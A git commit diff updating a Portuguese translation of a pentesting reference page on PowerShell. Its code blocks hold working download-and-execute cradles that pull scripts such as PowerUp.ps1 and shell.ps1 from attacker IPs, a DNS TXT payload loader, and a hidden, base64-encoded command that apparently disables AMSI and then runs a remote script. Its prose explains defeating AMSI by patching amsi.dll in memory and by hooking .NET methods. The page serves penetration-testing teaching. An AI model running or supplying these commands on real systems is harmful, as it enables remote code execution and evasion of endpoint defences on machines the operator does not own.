Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

This commit is contained in:
Translator 2025-01-22 16:14:28 +00:00
parent 97ddbfe563
commit 4b8a1ba6c0

View File

@ -18,7 +18,6 @@ Get-Command -Module <modulename>
``` ```
## Baixar e Executar ## Baixar e Executar
```powershell ```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -30,7 +29,7 @@ $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr
#host a text record with your payload at one of your (unburned) domains and do this: #host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
``` ```
### Baixar e Executar em segundo plano com Bypass do AMSI ### Baixar e Executar em segundo plano com Bypass AMSI
```powershell ```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
``` ```
@ -67,7 +66,7 @@ PS> powershell -EncodedCommand <Base64>
``` ```
## [Política de Execução](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy) ## [Política de Execução](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
## [Linguagem Constrangida](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## [Linguagem Constrainada](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
## [Política do AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## [Política do AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
@ -115,9 +114,9 @@ ValueData : 0
``` ```
### Bypass do AMSI ### Bypass do AMSI
**`amsi.dll`** é **carregado** no seu processo e possui as **exportações** necessárias para qualquer aplicativo interagir. E como está carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Fazendo com que não detecte nada. **`amsi.dll`** é **carregado** no seu processo e possui as **exportações** necessárias para qualquer aplicação interagir. E como está carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Fazendo com que não detecte nada.
Portanto, o objetivo dos bypasses do AMSI que você irá realizar é **sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil**. Portanto, o objetivo dos bypasses do AMSI que você usará é **sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil**.
**Página da web do gerador de bypass do AMSI**: [**https://amsi.fail/**](https://amsi.fail/) **Página da web do gerador de bypass do AMSI**: [**https://amsi.fail/**](https://amsi.fail/)
```powershell ```powershell
@ -166,13 +165,13 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
``` ```
### AMSI Bypass 2 - Hooking de Chamada de API Gerenciada ### AMSI Bypass 2 - Hooking de Chamada de API Gerenciada
Confira [**este post para informações detalhadas e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introdução: Verifique [**este post para informações detalhadas e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introdução:
Esta nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados para instruções de máquina nativas na memória, que acabam parecendo muito semelhantes aos métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa. Esta nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções de máquina nativas na memória, que acabam parecendo muito semelhantes aos métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.
Os passos para realizar o hooking de chamadas de API de métodos .NET são: Os passos para realizar o hooking de chamadas de API de métodos .NET são:
1. Identificar o método alvo para hook 1. Identificar o método alvo para hookar
2. Definir um método com o mesmo protótipo de função que o alvo 2. Definir um método com o mesmo protótipo de função que o alvo
3. Usar reflexão para encontrar os métodos 3. Usar reflexão para encontrar os métodos
4. Garantir que cada método tenha sido compilado 4. Garantir que cada método tenha sido compilado